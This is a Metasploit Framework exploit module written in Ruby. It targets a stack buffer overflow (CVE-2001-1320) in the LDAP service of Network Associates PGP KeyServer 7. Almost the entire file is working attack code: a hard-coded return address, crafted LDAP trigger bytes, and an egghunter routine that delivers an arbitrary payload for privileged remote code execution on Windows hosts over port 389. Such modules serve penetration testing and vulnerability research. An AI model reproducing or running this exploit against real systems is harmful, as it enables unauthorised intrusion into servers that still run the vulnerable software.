##
# $Id: pgp_keyserver7.rb 10908 2010-11-04 23:50:35Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Egghunter

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Network Associates PGP KeyServer 7 LDAP Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack overflow in the LDAP service that is
					part of the NAI PGP Enterprise product suite. This module was tested
					against PGP KeyServer v7.0. Due to space restrictions, egghunter is
					used to find our payload - therefore you may wish to adjust WfsDelay.
			},
			'Author'         => [ 'patrick' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10908 $',
			'References'     =>
				[
					[ 'CVE', '2001-1320' ],
					[ 'OSVDB', '4742' ],
					[ 'BID', '3046' ],
					[ 'URL', 'http://www.ee.oulu.fi/research/ouspg/protos/testing/c06/ldapv3/' ],
				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 450,
					'BadChars' => "\x00\x0a\x0d\x20",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					["Universal PGPcertd.exe", { 'Ret' => 0x00436b23 }], # push esp; ret PGPcertd.exe - patrick tested ok 2k/xp
				],
			'DisclosureDate' => 'Jul 16 2001',
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(389)
			], self.class)
	end

	def exploit
		connect

		# - Maximum payload space is 102 so we use EggHunter instead.
		# - The PAYLOAD is put inside an invalid, rejected (but hunt-able) request.

		hunter	= generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
		egg	= hunter[1]

		eggstart = "\x30\x82\x01\xd9\x02\x01\x01\x60\x82\x01\xd2\x02\x01\x03\x04\x82\x01\xc9" # ldapsearch sniff
		eggend = "\x80\x00"

		print_status("Sending trigger and hunter first...")

		buf = "\x30\xfe\x02\x01\x01\x63\x20\x04\x00\x0a\x01\x02\x0a\x01\x00\x02\x01\x00" # PROTOS suite sniff
		buf << [target['Ret']].pack('V') + hunter[0]
		buf << "\x00"

		sock.put(buf)

		disconnect

		connect

		print_status("Sending hunted payload...")
		sock.put(eggstart+egg+eggend)

		handler
		disconnect
	end

end